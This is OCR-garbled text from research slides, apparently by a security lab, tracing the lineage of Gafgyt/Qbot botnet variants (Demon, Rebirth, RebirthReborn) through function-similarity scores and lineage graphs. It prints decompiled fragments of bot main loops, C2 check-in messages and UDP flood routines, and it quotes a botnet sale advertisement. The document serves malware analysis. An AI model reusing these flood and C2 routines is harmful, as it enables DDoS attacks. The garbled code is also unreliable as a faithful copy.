= waitpid(local 70, &local _74,0); waitpid(local 70, &local _74,0);
exit(0); exit(0):
« parent_f_hash=8ACBICC753E84F4669956F8F 46 15F22BEBIFFBEBEDOAB2 7TA41A21744CI8AG188 =~ , return: , return:
child_f_hash=8ACBICC753EB4F4669956F8F 4615F22BEBIFFBEBCDOAB2 7A41A21744C98A6188 i# ((true) 8& (local_Bo = fork(), local Bc 1= 0)) ( i ((true) 8& (lacal_Bo = fork(), local e 1= 0)) {

main = main exit(0); exit(0);
return; return;

fhash_diff = 0, embedding_distance = 0.29129056254140395, similarity_score = 1 ) }

setsid(); setsid();

chdir("/"); chdir("/");

signal(Oxd, (__sighandler_t)0x1): signal(Oxd, (__sighandler_t)0x1);

+ parent_f_hash=8AC89CC757EBEF4651956F8FCH 15F22BEBIFFACBECBABR7AA 1A20744D9BAB TGS ~ et at

chi |d_f_hash=BACBSCC757E85F 465 19DGFEF C6 1FF22BEBOF FACBECBAB25AA 14207 44D9BA1CE e i - et e 0 e (T - riteemeetion(. e =0/
vseattack = vseattack } }

fhash_diff = 2, embedding_distance = 0.6440323886626294, sinilarity_score = 0.8306 St el St el

Compare function bodies sockpr intf (ceoSocket, sockprintf (RebirthSacket,
“Hix1b[1:31m#x1b [1;36m¥stx1b [1:31m] #x1b[1:31mloined “Hix1b[1:31m#x1b [1:36mistx1b[1;31m] #x1b[1:31mloined

+ parent_f_hash=8AC8 1EC757F85F 4659956F 8EC615F 23BEBOF FBBBECBAB27A41A20744D98A61C8 el o N N Lot o thib L Siahdb LSl

chi ld_f_hash=BAC81EC757F85F4659956F8ECE 15F23BE8SFFBBBECBAB27A4 1A20744D98A6 108

makevsspaoket - makeusepacket Only the messages used for communication with the C2 server

fhash_diff = 0, embedding_distance = 0, similarity_score = 1

st exhibit variations

+ parent_f_hash=BACBOEE757EB4F4669956F 8286 16F20BEBOFFBOBECOAB27A41220744DS8A6 1C0
chi |d_f_hash=8ACBSEE757E84F 4669956F8E86 16F 20BES9FFBOBECOAB27AA1220744D9BA61CO PSR PSR
checksum_tcp_udp = checksum_tcp_udp while (local e = War2 + 1, while (local _de = war2 + 1,
fhash_diff = 0, embedding_distance = 0, similarity_score = 1 local_de < numids) { local_de < numids) {

. +(undef inedd ) +(undef inedd +)
Compare function bodies ((ulong)uvar2 + 4 + (long)pids) = ((ulong)uar? * 4 + (long)pids) =

*(undef ined4 +) *(undef ined4 )

+ parent_f_hash=8AC890CT57ESAFA651956F8F 86 1DF22BEROFFBEF CCBABTAL 1A20744C98A6 108 ((utone)local dz + 4+ (lona)pids): ) ((ulona)local Az + 4+ (lona)pids) )
uvar? = local_4c; uVar2 = local_dc;

chi ld_f_hash=BAC89CC757E84F4651956F8F86 1DF22BE8IFFBEFCC8AB27A4 1A20744C98A61C8
atep = atep

Date: 2020-05-16T22:07:05Z

Compare function bodies

3

*(undefinedd »)((ulong)uVar2 = 4 + +(undefinedd +)((ulong)uVar2 = 4 +
) ) ) . X (long)pids) = 0; (long)nids) = 0;
fhash_diff = 0, embedding_distance = 0, similarity_score = 1 sVar = numoids « 4: sVar8 = nurpids * 4;

numpids = numpids - 1; numoids = numoids - 1:
local_58 = mal loc(sVarg); local_58 = mal loc(sVarg);
for. al 4c = 0: local 4c < for (local 4c = 0; local 4e <

Compare function bodies

SANDS Lab” 3



3 Experiment | Sample tracing: lineage analysis centered on the Main f

| Tracing the C2 communication flow within the Main function, starting from the ‘x86' sample.

File-level similarity: 99%

Function-level similarity: 100%

Input_file (backdoor.linux.gafgyt.gafgyt)

Start Point: ‘x86’

SANDS Lab”

oor.linux.gafgyt

Parent: 1A8B88D6C DDCFOFE433A75EA / main
Date: 2025-01-26T20:
fhash_diff: 0, emb_dist: 0, score: 1

Child: C12F36D08F3427A7077BFO9ESFFOSSFEFACI712BA9DA13F45160A63CA04F2351 / main
Date: 2025-01-14T13:24:49Z

void main(void) {
_pidt Vard;
size_t sVar8;
-pid_t local _70;
_-pid_t local Bc;
tVar5 = tine((time_t *)0x0);
warZ = getpid();
srandon(uVar2 * (uint)tVar5);
tVar5 = time((time_t *)0x0);
u¥ar2 = getpid();
init_rand(u¥ar2 * (uint)tVar5);
getOur IP();
local 70 = fork();
if (local_70 !=0) {
waitpid(local _70,&local 74,0);
exit(0);
return;
¥
if ((true) 8% (local_Bc = fork(), local Bc 1= 0)) {
exit(0);
return;
¥
setsid();
chdir("/*);
signal (Oxd, (__sighandler_t)0x1);
do {
while (iVar3 = initConnection(), iVar3 != 0) {
sleep(5);
}
uVar = defarchs();
pc¥ar? = inet_ntoa(our IP);
sockpr intf(cedSocket,
“fix1b[1;31n[#x1b[1;36mYstix1bl1;31m] #x1b[1:31mloined RebirthReborn As [#x1b[1;37n%stxIbl1:31n]"
.pcVar? . uVarB);
local B8 = 0;
local B4 = 0;
while (local B8 = recvl ine(ceoSocket, local _10c8,0x1000), local 68 != -1) {
for (local B4 = 0; (ulong)(long)(int) local B4 < numpids; local 64 = local 64 + 1) {
_Vard = waitpid(~(__pid_t »)((lona)(int)local B4 * 4 + (long)pids), (int )0x0,1);
uar? = local 64;
if (0< Vard) {
while (local_dc = uVar2 + 1, local_dc < numpids) {
»(undefined4 »)((ulong)uVar2 » 4 + (long)pids) =
»(undefinedd »)((ulona) local dc » 4 + (long)pids);
war2 = local dc;
}
*(undef inedd *)((ulong)uVar2 = 4 + (long)pids) =
sVarB = nunpids » 4;
numpids = numpids - 1;
local 58 = malloc(sVar8);
for (local_4c = 0; local_4c < numpids; local _dc = local_dc + 1) {
*(undef ined4 »)((ulona) local 4c * 4 + (long)local 58) =
*(undefined4 »)((ulona) local 4c * 4 + (long)pids);
¥
free(pids);
pids = local _58;

void main(void) {
_pid_t Vard;
size_t sVar8;
—-pid_t local 70;
—pid_t local_bc;
tars = time((time_t *)0x0);
War2 = getpid();
srandom(u¥ar? * (uint)tVars);
tVar§ = time((time_t =)0x0);
u¥ar2 = getpid();
init_rand(u¥ar? " (uint)tVars);
eetOurIP();
local 70 = fork();
if (local 70 1= 0) {
waitpid(local_70,&local 74,00
exit(0);
return;
i
if ((true) & (local Bc = fork(), local B I=0)) {
exit(0);
return;
i
setsid();
chdir("/");
sional(Oxd, (__sighandler_t)0x1);
do {
while (iVar3 = initConnection(), iVar3 != 0) {
sleep(5);
i
uVarf = defarchs();
pc¥ar? = inet_ntoa(ourP);
sockpr intf(ceoSocket,
“#x1b[1;3Inl#ix1b[1; 36n%stix1bl1;31n] #xIbl1;31nJoined RebirthReborn As [x1b[1;37nEskxIb1;31m]"
.pcVar, uVarf)
local 68 = 0;
local 64 = 0;
while (local B8 = recvline(ceoSocket, local _10c8,0x1000), local 68 = -1) {
for (local B4 = 0; (ulong)(long)(int)local B4 < numpids; local B4 = local B4 + 1) {
_Vard = waitpid(x(__pid_t )((lona)(int)local B4 ~ 4 + (long)pids). (int *)0x0,1);
u¥ar2 = local _64;
if (0< Vard) {
while (local _dc = uVar2 + 1, local_4c < numeids) {
*(undef inedd »)((ulong)uVar2 » 4 + (long)pids) =
*(undef inedd +)((ulong) local _dc » 4 + (long)pids);
ular? = local_dc;
¥
*(undef inedd *) ((ulong)uVar2 » 4 + (long)pids) =
sVarB = numoids * 4;
numpids = numpids - 1;
local 58 = mal loc(sVar8);
for (local_dc = 0; local_4c < numpids; local_dc = local_dc + 1) {
*(undef ined4 *)((ulong) local_4c » 4 + (long) local 58) =
*(undef inedd *)((ulong) local_dc * 4 + (long)pids);
i
free(pids);
pids = local _58;
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File-level similarity: 99%

Function-level similarity: 100%
backdgOr.linux.gafgyt

or.linux.gafgyt

File-level similarity: 98%
Function-level similarity: 100%

backdogflinux.gafgyt

SANDS Lab”

Parent: C12F36D08F3427A7077BFO9E5FF955FEFAC712BA9DA413F45160A63CA04F2351 / main
Date: 2025-01-14T13:24:49Z

fhash_diff: 0, emb_dist: 0.29129056254140395, score: 1

Child: FBEC9B25BAC4922FB25E0924A9358A810DD2581750902CC844625C78FED7EC37 / main
Date: 2020-05-16T22:07:05Z

setsid();

chdir("/");
signal (Oxd, (__sighandler_t)0x1);
do {

while (iVar3 = initConnection(), iVar3 !=0) {

, ceoSocket,
} sleen(5); Joined RebirthReborn As

uVarG = defarchs();

sockpr intf(ceoSocket,

"#x1b[1;31m#x1b[1;36m¥%stxTbl1;31m] #¥x1b[1;31mloined RebirthReborn As [#x1b[1;37m¥stx1bl1;31m]"
.pcVar?, uvarB);

local £8 = 0

local _64 = 0;

Parent: FBEC9B25BAC4922FB25E0924A9358A810DD2581750902CC844625C78FED7EC37 / main
Date: 2020-05-16T22:07:05Z

fhash_diff: 0, emb_dist: 0, score: 1

Child: C3CDB46C3D4AAAS5F951C07F1FC691EC96C7BIDDC5438C712689FSE7DADAF82D3 / main
Date: 2021-01-17T19:14:42Z

setsid();

setsid();
chdir("/");
signal (Oxd, (__sighandler_t)0x1);

= while (iVar3 = initConnection(), iVar3 != 0) { RebirthSOCKet,

sleep(5);

) Joined Rebirth As

uVarf = defarchs();

sockpr intf(RebirthSocket,

"tix1b[1;31mlHx1b[1; 3Bmistx1b(1:31m] #x1b[1;31mloined Rebirth As [#xIb[1;37m¥stx1bl1;31m]"
.pcVar?, uvarB);
_ .

local_64 = 0;

chdir("/");
signal(Oxd, (__sighandler_t)0x1);

o while (iVar3 = initConnection(), iVar3 != 0) { RebirthSOCket,

sleep(5);

> Joined Rebirth As

uVarB = defarchs();

sockpr intf(RebirthSocket,

"#ix1b[1; 31mHix1b[1;36m¥stx1b[1;31m] #xIb[1;31mloined Rebirth s [Hx1b[1;37m¥stx1b[1;31m]"
,pcVar?,uVar6) ;
- 0

local_64 = 0;

setsid();
chdir("/");
signal(Oxd, (__sighandler_t)0x1);

= while (iVar3 = initConnection(), iVar3 != 0) {RebirthSOCKet,

sleep(5);

: Joined Rebirth As

uVarf = defarchs();

sockprintf(RebirthSocket,

"x1b1:31m[#x1b[1;36m¥stx1b[1;31m] #x1b[1;31mloined Rebirth As [#x1b[1;37m¥stx1b[1;31m]"
,pcVarT,uvarB);
_ .

local 64 = 0;
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File-level similarity: 97%
Function-level similarity: 100%

backdgOr.linux.gafgyt Parent: C3CDB46C3DAAAASF951C07F1FC691ECO6C7TBIDDC5438C712689FSE7TDADAFS2D3 / main
Date: 2021-01-17T19:14:42Z
fhash_diff: 0, emb_dist: 0.29129056254140395, score: 1

Child: 549D3AAC3B42F702F29AB27C653C0F239A51601A6AEB50564BEDA614F8F1F33E / main
Date: 2024-03-24T05:14:45Z

setsid(); setsid();
chdir("/"); chdir("/");
signal (Oxd, (__sighandler_t)0x1); signal(Oxd, (__sighandler_t)0x1);

o while (iVar3 = initConnection(), iVard !=0) { RebirthSOCket, o while (iVar3 = ini i ivar3 1= 0) { CeOSOCKet,

initConnection(),

, = Joined Rebirth As "™ Joined RebirthReborn As

uVarf = defarchs(); uVarB = defarchs();

sockpr intf(RebirthSocket, sockpr intf(ceoSocket,
"iix1b[1;31mHix1b[1;36m¥sHx1b[1;31m] #x1b[1;31mloined Rebirth As [HxIb[1;37m¥stx1bl1;31m)" "tx1b[1;31mHx1b[1;36m¥sHx1b[1;31m] #x1bl1;31mloined RebirthReborn As [#x1b[1;37m¥sHx1bl1;31m]"
.pcVar?, uvar) ,pcVarT,uvarg)

_ . _ o

local 64 = 0; local_64 = 0;

or.linux.gafgyt

File-level similarity: 95%
F U n CtiO n - |€V€| Si m i Ia rity: 93 .2% backdoofNi - R?:L,Z?ﬁ?fai.ﬁsaf ::;;50291 271077687, score: 0.9316

Parent: 549D3AAC3B42F702F29AB27C653C0F239A51601A6AEB50564BEDA614F8F1F33E / main

Child: 9D29C1EAOCEFD328605599B9BD34767F057C49314D008E2D255D80C852886290 / main
Date: 2018-12-21T03:32:10Z

setsid(); setsid();
chdir("/"); chdir("/");
signal(Oxd, (__sighandler_t)0x1); signal(Oxd, (__sighandler_t)0x1);

do { while (iYard = initComection(). iVerd 1= ) { CeOSOCket ® 1 while (iVar3 = initConnection(), iVard != 0) {
, " Joined RebirthReborn As ) Demonicsock,

uVarb = defarchs(); wYarb = defpkas();

= war? = defopsys(); D m V5
sockpr intf(ceoSocket, uVar@ = defarchs(); e on
"tix1b[1;31m{#x1b[1;36m¥stx1b[1;31m] #xI1b[1;31mloined RebirthReborn As [#x1b[1;37m¥stx1b[1;31m]"

.pcVar?, uVarf);
_ 0.

sockprintf(Demonicsock,
"1 [0; 36mDemonttx1b[1;37m{#x1b0; 36mY5 . Otx1b[1;37m]tix1b0; 36m—
local_64 = 0; Hix1b[1;37m#x1b0; 38m¥stx1b[1;37m]#x1b[0; 36m—>Hx1b[1;37m#ix1b[0; IEm¥stix1b[1;37ml#x1b[0; 36m——
while (local_B8 = recvline(ceoSocket, local_10c8,0x1000), local 68 != -1) { SHix1b[1;37m#x1b[0; 36m¥stix1b[1; 37m]#x1b[0; 3Bm—>Hix1b[1;37m#x1b[0; 3Bmikstix1b[1;37m]
for (local B4 = 0; (ulong)(long)(int)local B4 < numpids; local_64 = local B4 + 1) { ,pcVary, uVarl, u¥ar?,uvarB);
_Vard = waitpid(*(__pid_t *)((long)(int)local B4 * 4 + (long)pids),(int *)0x0,1);
uVar2 = local_64; local _74 = 0;

'linux.gafgyt
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File-level similarity: 98%
Function-level similarity: 22.1%

linux.gafgyt

File-level similarity: 84%
Function-level similarity: 100%

Backdookt linux.gafgyt

SANDS Lab”

Parent: 9D29C1EAOCEFD328605599B9BD34767F057C49314D008E2D255D80C852886290 / main
Date: 2018-12-21T03:32:10Z
fhash_diff: 5, emb_dist: 1.3768739270063517, score: 0.2207

Child: E2CCF993627DF21B928ABCC6C6BAE48CTDEF15BFA2776D2AC20C15B617DA4C8AE / main
Date: 2019-03-12T11:38:37Z

setsid();
chdir("/");
signal(Oxd, (__sighandler_t)0x1);
do {
while (iVard = initConnection(), iVar3

i Demonicsock,
uVarB = defpkas(); Demon V5

uVar? = defopsys();

pcVard = inet_ntoa(our IP);

sockpr intf(Demonicsock,

"#x1b[0; 36mDemonttx1b[1;37m#x1b[0;36mY5 . Oix1b[1;37m] #x1b[0; 36m—
SHix1b[1;37mlx1b[0; 36mEstix1b1; 37m tx1b[0; 36m—>#x1b[1; 37ml#x1b[0; 3BmEsHx1b[1;37m] tc1b[0; 36m—
SHix1b[1;37mlHx1b[0; 36m¥stix1b1;37mtx1b[0; 36m——>#x1b[1;37m[#x1b[0; 36mEsHx1b[1;37m] "

,pcVarg, uVarB,uvar?, uvar6);

local_74 = 0;

Parent: E2CCF993627DF21B928ABCC6C6BAE48C7DEF15BFA2776D2AC20C15B617D4C8AE / main
Date: 2019-03-12T11:38:37Z
fhash_diff: 0, emb_dist: 0, score: 1

Child: 7B12F21E2176C908931BDEA2B54EDE667DAE745059F322AF825A33A845E4B058 / main
Date: 2021-09-08T04:56:21Z

setsid();
chdir("/");
signal(Oxd, (__sighandler_t)0x1);
do {
while (iVar4 = initConnection(), iVar4

! Demonicsock,
War? = defpkas(); Demon V5

uVar8 = defopsys();

pc¥ar10 = inet_ntoaourIP);

sockpr intf(Demonicsock,

"H#ix1b[1; 31mDemontx1b[1;37mltx1bL1;31mv5 . Offx1b[1;37mI#x1b[1;31m—
SHix1b[1;37m#x1b[0; 3Bm%stix1b[1;37m]#x1b[1;3Tm——>x1b[1;37m[#x1b[0; 36m¥skx1b[1;37m]#x1bL1:31m—
SHixTb[1;37ml#x1b[0; 36m¥sHx1b[1;37m]#x1b[1; 31m—>Hx1b[1;37m{#x1b[0; 36mAsHxTb[1;37m] "

.pcYar10,u¥ard, uar, uvar?);

local_74 = 0;

setsid();
chdir("/");
signal(Oxd, (__sighandler_t)0x1);
do {
while (iVar4 = initConnection()

e ““*'Demonicsock,
H
uVar? = defpkas(); Demon V5

uYar = defopsys();

pcYar10 = inet_ntoa(ourIP);
sockpr intf(Demonicsock,
#1131 mDemonttx1b[1;37m#x1b[1:31mY5 ., Oix1b[1;37m] #1613 1m—
1bl1;37ml#x1b[0; 36m¥stx1b[1;37m]#ix1b[1; 31 m—>#x1b 1 37m[#x1b[0; 36m¥stx1b[1;37mI#x1b[1; 3 1m—
Hix1b[1; 37m#x1b[0; 36mistxIb[1;37m]#x1b[1;31m—>#x1b[1;37m#x1b[0; IBm¥stix1b[1:37m] "
,pcVar10,u¥arg, uVar8, uVar?);
| .

Ty

local _74 = 0;

setsid();
chdir("/");
signal(Oxd, (__sighandler_t)0x1);
do {
while (iVard = initConnection()

iy “*Deéemonicsock,
}
uVar? = defpkas(); Demon V5

uYar = defopsys();
uVard = defarchsQ);

pcvar inet_ntoatour P);
sockpr intf(Demonicsock,
"#x1b[1;31mDemonttx1b[1;37m#x1bL1;31mV5 . Ofx1bL1;37mlx1b[1;31m——
S 1b[1;37mL#x1b[0; 36m¥sx1b[1;37m]#x1b[1: 31m—>xTb[1;37m{#x1b[0; 36m¥stx1b[1;37m]#x1b[1;31m—
SHix1b[1;37mlx1b[0; 36m%stx1b[1;37ml#x1b[1;31m-—>#x1b[1; 37Tm#x1b[0; 3Bmstx1b[1;37m] "
.pcVar10,uVar9, uvard, uvar?);

local _74
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. ilarity: 759
File-level similarity: 75%
H H H M il P: : 7B12F21E2176C908931BDEA2B54EDE667DAE745059F322AF825A33A845E4B058 / i
Function-level similarity: 91.8%
fhash_diff: 4, emb_dist: 1.0122502448590396, score: 0.9178

Child: C983C7380B13216EC7F66D8214E58770A2541990F57A028AF43C84DA98FA78E3 / main
Date: 2018-10-24T10:58:43Z

setsid(); setsid();
chdir("/"); chdir("/");
k signal(Oxd, (__sighandler_t)0x1); signal(Oxd, (__sighandler_t)0x1);
. do { do {
Backdoor.linux.gafgyt while (iVard = initConnection(), iVard !=0) { while (iVard = initConnection(), iVard !=0) {
sleep(5); sleep(5);

R Demonicsock, ) mainCommSock,

war? = get0S();

s Demon V5 Warl = getArch(); She"ing

wYar8 = defarchs(); u¥ar§ = getBuildz();
_ -

b1, 37mHx1b[0; 36mEstx1b1;37mltx1b[1;3Tm—>tx1b[1;37m#x1b[0; 36m¥stx1b1; 37ml#x1b[1;31m— uVarB,uVar7);
ix1b[1;37m[Hx1b[0; 3Bm¥stix1b[1;37ml#ix1b[1;31m—>Hix1b[1;37m[Hx1b[0; 3Bm¥stixTb[1;37m]" -

.pcVar10,u¥ard, uvarB, u¥ar?); localZ74"=0;
_ LAB_004038d4:

sockpr intf(Demonicsock, pcVar1l = inet_ntoa(ourIP);
"#x1b[1;31mDemontix1b[1;37m{#x1b[1;31mV5 . Ot 1b[1;37m]#x1b[1;31m—— sockpr intf(mainCommSock " [Shel | ing] ——>[%s]—>[%s]-—>[%s]-—>[%s]—>[%s]", pcVar11,uVar10,uVars,

Backdoor\inux.gafgyt

® o *radware X +

:. radware SOLUTIONS PRODUCTS PARTNERS COMPANY RESOURCES SUPPORT

DemonBot v1 - © Self-Rep-NeTiS

The reversing of the unstripped ‘bash’ binary revealed some unfamiliar function names and an atypical string which provided a unique fingerprint for the botnet

code:

int32_t getArch(void);

int32_t getBuildz(void);

int32_t get0S(void);

int32_t getOurIP(void);

int32_t getPortz(void);

int32_t getRandomIP(int32_t al, int32_t a2);

"[Shelling]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]" Source: Radware(2018), https://www.radware.com/blog/security/new-demonbot-discovered/
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03 Experiment | Lineage graph - C2 messages

Demon V5

Source: Pastebin(2019), https://pastebin.com/QE2GDrvS

w PASTEBIN APl TOOLS FAQ = paste

sockprintf(Demonicsock,
"\x1b[1;31mDemon\x1b[1;37m[\x1b[1;31mV5.0\x1b[1;37m]\x1b[1;31m--
>\x1b[1;37m[\x1b[0;36m¥s\x1b[1;37m]\x1b[1;31m--
>\x1b[1;37m[\x1b[0;36m¥s\x1b[1;37m]\x1b[1;31m--

>\x1b[1;37m[\x1b[@;36m%s\x1b[1;37m]\x1b[1;31m-->\x1b[1;37m[\x1b[0; I

char commBuf[4096];

backdoor.linux.miral

Demon Vi

DemonBot v1 — © Self-Rep-NeTiS

The reversing of the unstripped ‘bash’ binary revealed some unfam
code:

int32_t getArch(void);

int32_t getBuildz(void);

int32_t get0S(void);

int32_t getOurIP(void);

int32_t getPortz(void);

int32_t getRandomIP(int32_t al, int32_t a2);

“[Shelling]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]"

2018-10-24

Demon v o

backd6or inux.gafgyt

SANDS Lab”

o

2024-03-24
Rebirth Rebor
2018-12-21
Demon v5

backdoor linux.gafgyt.__

y
®

backdogf.inux gafgyt

2019-03-12
Demon v5

J

backggfr.inux.gafgyt

2021-09-08

~Demon v5

Rebirth

backdoor linux.gafgyt

- 2021-01-17

Rebirth

uvarf = defarchs();
pcVar? = inet_ntoalour IP);

sockpr intf(RebirthSocket,
"#x1b[1;31mtx1b[1;36m¥stix1b[1:31m] #x1b[1;3TmJ@lined Rebirth As [f

,pcar?,uVarB);
local _68 = 0;
local_64 = 0;

backdoor inux gafgyt

2020-05-16
Rebirth

backdoor inux.garg

2025-01-1
Rebirth Reborn,. ... oo

2025-01-26
Rebirth Reborn

\ 4
Rebirth Reborn

uVar6 = defarchs();
pcVar? = inet_ntoa(our|P);

b[1;37m¥stx1b[1;31m]"

sockpr intf(ceoSocket,

"Hix1b[1;3TmI#x1b[1;3Bm¥stix1b[1;31m] #x1bl1 ;3[mJoined RebirthReborn As ]'ﬂx]bﬂ 3 3Tmsx1b[1;31m] "

pcYar?,uvarB);

local 68 = 0;
local_B4 = 0;
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03 ' Experiment | Lineage graph - real-world campaign

Demon v5 (2018) Self Rep NeTiS

@Y PASTEBIN s roois

DemonV5Bot

SELF-REP-NETIS

text 32.41 kB | Nonme | (_‘Jo I;)o
111111111111111,
L1 TTITTT TR TRTT T
#include <stdlib.h>
#include <stdarg.h>
#include <stdio.h>
#include <sys/socket.h>

#include <sys/types.h>

:~$ telnet localhost 8025
Trying ::1...
Trying 127.0.0.1
Connected to loc
Escape character

SANDS Lab”

NEVER

ADD COMMENT

2018-10-24
Demqp vl

2018-12-21
Demonv5

y

2019-03-12
Demon v5

g
4

backdgdr linux gafgyt

2021-09-08
Demonv5

Rebirth (2020) @SelfRepNetis / Demon Rebirth

EP [!] Rebirth API CNC | Online Users: [1]

@<
backdoor inux gafgyt backdoorlinux gafgyt

2021-01-17 2020-05-16

o4 - - 9
st Rebirth i 86
2024-03-24 = Rebirth  502- 01‘1\2\' X
Rebirth Reborn Rebirth Reborn

|p1n (backdoor.linux.gafgyt.gafgyt)

2025-01-26

Rebirth (2025) selfrepnet| Rebirth Reborn

get RebirthReborn VIP & RebirthVPN bundled for only $30/monthly
or $250/lifetime!

RebirthVPN comes with 10 DDoS Protected VPN Game servers
RebirthReborn VIP Comes with all RebirthReborn methods and

power plus access to net methods hitting 70~w!
= - e TrY ~ - T ~
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03 Experiment | Fulllineage graph

| The complete lineage graph enables a visual identification of similarities and lineage relationships.

Start Point: ‘x86’

2025-01-26
RebirthReborn
|
2025-01-14
RebirthReborn
|
2020-05-16
Rebirth
|
2021-01-17
Rebirth
|
2024-03-24
RebirthReborn
|
2018-12-21
Demon V5
|
2019-03-12
Demon V5
|
2021-09-08
Demon V5
|

2018-10-24
Demon V1

SANDS Lab”

2024-03-24
RebirthReborn
|
2025-01-14
RebirthReborn
|
2021-09-07
Demon V5

2025-03-05
Okami_Kaden1337

2022-04-11
ENEMYBOT V3.1

2018-10-30
THANOS

2018-12-21
Demonv5

2025-01-26
RebirthReborn

2025-01-21
RebirthReborn
|
2025-01-26
RebirthReborn
|
2024-03-24
RebirthReborn

@ 2025

® Well-known Gafgyt/Qbot Variant
® Unknown Gafgyt/Qbot Variant
® Well-known Gafgyt/ Mirai Variant

2024-12-03
Sakura

2017-09-14
Qbot_leyFa

2017-12-15
Gafgyt-QBot

2021-09-04
Demon V1

2022-04-12
ENEMYBOT V3.1

H

2021-08-12
Okami_Kaden1337

2024-03-24
RebirthReborn

2025-01-26
RebirthReborn

2025-01-14
BATMAN IV

2021-09-11
Bootz IV

2022-04-11
ENEMYBOT V3.1

2025-01-26
RebirthReborn

2024-03-24
RebirthReborn
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03 ' Experiment | Function-based linkages: quantitative comparison

Function similarity assessed through quantitative metrics.

The Main function preserves uniqueness, while the C2 functionality undergoes gradual changes across generations.

-

\
Similarity of the Main function Evolution of the Cncinput function
[Rebirth Reborn, Rebirth Reborn] Similarity Score = 1 [Rebirth Reborn, Rebirth Reborn] Similarity Score = 1
[Rebirth Reborn, Rebirth] Similarity Score = 1 [Rebirth Reborn, Rebirth] Similarity Score = 1
[Rebirth Reborn, Demon v5] Similarity Score =0.9316 [Rebirth Reborn, Demon v5] Similarity Score = 0.651
[Demon v5, Demon v1] Similarity Score =0.9178 [Demon v5, Demon v1] Similarity Score = 0.2368
.
.
Similarity in the initial C2 communication Similarity of attack commands
Rebirth Reborn: "[9%s] Joined RebirthReborn As [9%s]" Rebirth Reborn ____Rebirth DEMONVS  Demony]
Rebirth: "[%s] Joined Rebirth As [%s]" TcP TcP TcP TcP
HEX HEX HEX STD
Demon V5: "DemOﬂ[VS.O]'_>[%S]__>[%S]'_>[%S]__>[%S]” VSE VSE VSE/OVH CNC
Demon v1: "[Shellingl-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]" XMAS KMAS SERV STOMP
STOP STOP STOP STOP
\__ /)

SANDS Lab”
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03 ' Experiment | Examples of function evolution: STD/HEX attacks

Verification of code evolution using real attack function samples.
Core function structure remains invariant; only attack patterns vary.

Demonvil

void astd(char *param_1, ...)
{

local_24 = socket(2,2,0);

local_20 = time((time_t *)0x0);

local_18 = gethostbyname(param_1);

bzero(&local_38,0x10);

bcopy(*local_18->h_addr_list,local_38.sa_data + 2,(long)local_18->h_length);
local_38.sa_family = (sa_family_t)local_18->h_addrtype;

local_c = 0;

local_48[0] =

"Ix38/xFJIx93/xID/x9A/x38/xF J/x93/xID/x9A/X38/xF J/x93/xID/xIA/X38/xF J/x93/
XID/x9A/x38/XFJ/x93/xI D/X9A/X38/xFJ/x93/xID/x9A/X38/xFJ/x93/xID/x9A/X38/XF
JIx93/x1D/x9A/X38/xF J/x93/xID/xIA/X38/xF J/x9 3/xID/x9A/x38/xFJ/x93/xID/XIA/X
38/xFJ/x93/xID/x9A/X38/xF J/x93/xID/x9A/x38/xF J/x93/xID/x9A/X38/xF J/x93/xID/
X9A/x38/xF J/x93/xID/x9A/X38/xF J/x93/xID/x9A/X38/xF J/x93/xID/xIA/X38/xF /x93
/XID/X9A/X3 8/xFJ/x93/xID/x9A/X38/XFJ/x93/xID/x9IA/X38/xF J/x93/xID/x9A/X38/xF
JIx93/xID/x9A/X38/XF J/x93/xID/x9 A/x38/xFJ/x93/xID/x9A/X38/xFJ/x93/xID/XIA/X
38/xFJ/x93/xID/x9A/X38/xF J/x93/xID/x9A/x38/xF J/x93/xI D/x9A/x38/xFJ/x93/xID/
X9A/x38/xF J/x93/xID/x9A/X38/xF J/x93/xID/x9A/X38/XF J/x93/xID/xIA/X38/xF J/x9
3/x1D/x9A/x38/xFJ/x93/xID/x9A/X38/xF J/x93/xID/x9A/X38/xF J/x93/xID/x9A/X38/x
FJ/x93/xID/x9A/X38/XF J/x93/xID/xIA/X38/xFJ/x93/xID/x9A/X38/xFJ/x93/xID/xIA/
X38/xFJ/x93/xID/x9A/Xx38/xFJ/x93/xID/x9A/X3 8/xFJ/x93/xID/x9A/X38/xFJ/x93/xID
IX9A/X38/xFJIx93/xID/X9A/X38/xFJ/x93/xID/x9A/X38/XFJ/x93/xID/x9 A/x38/xFJI/x9
3/xID/x9A/x38/xFJ/x93/xID/x9A/X38/XFJ/x93/xID/x9A"

fdo( N

y

T
send(local_24,local_48,0x5b4,0);
connect(local_24.&iocal_38,0x10); Dum my patterns
tVar1 = time((time_t *)0x0);
if (param_3 + local_20 <= tVar1) {
close(local_24);
_exit(0);
}

local_c = 0;

local_c =local_c + 1;
} while( true );

SANDS Lab”

Demon v5

void astd(char *param_1, ...)
{

local_24 = socket(2,2,0);

local_20 = time((time_t *)0Ox0);

local_18 = gethostbyname(param_1);

bzero(&local_38,0x10);

bcopy(*local_18->h_addr_list,local_38.sa_data +
2,(long)local_18->h_length);

local_38.sa_family = (sa_family_t)local_18->h_addrtype;

local_c = 0;

do {
local_48[0] = "vgqMWPAG\x02gLEKLG\x02sWGP[\"";

It (0x31 < local_c) { Random strings

send(local_24,local_48,(lony)paiain_«,u),
connect(local_24,&local_38,0x10);
tVar1 = time((time_t *)0Ox0);
if (param_3 + local_20 <= tVar1) {
close(local_24);
_exit(0);

local_c = 0;

local_c =local_c + 1;
} while( true );

}

void astd(char *param_1, ...)
{

local_34 = socket(2,2,0);

local_30 = time((time_t *)0x0);

local_28 = gethostbyname(param_1);

bzero(&local_48,0x10);

bcopy(*local_28->h_addr_list,local_48.sa_data + 2,(long)local_28->h_length);
local_48.sa_family = (sa_family_t)local_28->h_addrtype;

local_1c = 0;

local_48.sa_data._0_2_ = param_2;

do { Y
local_98[0] = s_e_0040cb45;

local_98[1]

local_98[2] H

local_98[3]=s_%_,_8_9_: F_M_x_y 0040cb68;
local_78 = "\x14";

local_70 = "{\"method\":\"DHDiscover.search\"}";
local_68 = &DAT_0040cbcf;

local_60 = "<trt:GetProfiles />";

local_58 =

"d1:ad2:id20:abcdefghij01234567896:target20:mnopqrstuvwxyz123456e1:q9:fin
d_node1:t1:a1:y1:qe";
local_50 = &DAT_0040cc5c;

Rebirth Reborn

void astd(char *param_1, ...)
{

local_34 = socket(2,2,0);

local_30 = time((time_t *)0x0);

local_28 = gethostbyname(param_1);

bzero(&local_48,0x10);

bcopy(*local_28->h_addr_list,local_48.sa_data + 2,(long)local_28-
>h_length);

local_48.sa_family = (sa_family_t)local_28->h_addrtype;

local_1c = 0;

